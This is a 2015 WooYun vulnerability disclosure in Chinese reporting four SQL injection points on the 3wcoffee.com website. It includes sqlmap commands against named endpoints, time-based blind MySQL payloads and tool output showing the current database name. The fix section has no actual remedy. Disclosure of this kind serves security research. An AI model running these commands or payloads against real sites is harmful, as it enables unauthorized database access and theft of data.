当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125979

漏洞标题:3WCoffee主站4枚sql注入漏洞(影响管理员)

相关厂商:3WCoffee

漏洞作者: 凌零1

提交时间:2015-07-10 18:39

修复时间:2015-08-24 18:40

公开时间:2015-08-24 18:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

考试,然并卵吗?

详细说明:

今天看到有3WCoffee公布的漏洞,就去挖挖看,说不定还有rank拿

漏洞证明:

1.http://3wcoffee.com/discuz/queryTopics.json" --data "eventId=&size=10&start=0" -p "eventId"

C:\Python27\sqlmap>sqlmap.py -u "http://3wcoffee.com/discuz/agreeRemark.json?agr
eecount=1&disagreecount=0&remarkId=1" -p "remarkId"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:56:41
[17:56:41] [INFO] resuming back-end DBMS 'mysql'
[17:56:41] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: remarkId (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: agreecount=1&disagreecount=0&remarkId=1' AND (SELECT * FROM (SELECT
(SLEEP(5)))jfUC) AND 'LCZh'='LCZh
---
[17:56:42] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[17:56:42] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\3wcoffee.com'


1.png

1.2.png

t_administrator耶
2.http://3wcoffee.com/discuz/agreeRemark.json?agreecount=1&disagreecount=0&remarkId=1" -p
"remarkId"

C:\Python27\sqlmap>sqlmap.py -u "http://3wcoffee.com/discuz/queryTopics.json" --
data "eventId=&size=10&start=0" -p "eventId" --level 3 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:55:31
[17:55:31] [WARNING] provided value for parameter 'eventId' is empty. Please, al
ways use only valid parameter values so sqlmap could be able to run properly
[17:55:31] [INFO] resuming back-end DBMS 'mysql'
[17:55:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: eventId (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: eventId=' AND (SELECT * FROM (SELECT(SLEEP(5)))UQoq) AND 'VgPx'='Vg
Px&size=10&start=0
---
[17:55:32] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.12
[17:55:32] [INFO] fetching current database
[17:55:32] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[17:55:41] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[17:55:59] [INFO] adjusting time delay to 3 seconds due to good response times
3wcoffee_new
current database: '3wcoffee_new'
[17:58:44] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\3wcoffee.com'


3.http://3wcoffee.com/discuz/queryRemarks.json?size=5&start=0&topicId=1 topicId

3.png


4.http://3wcoffee.com/discuz/queryTopics.json
eventId=&size=10&start=0 eventId

4.jpg


修复方案:

今天一下午就这样了!!!

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论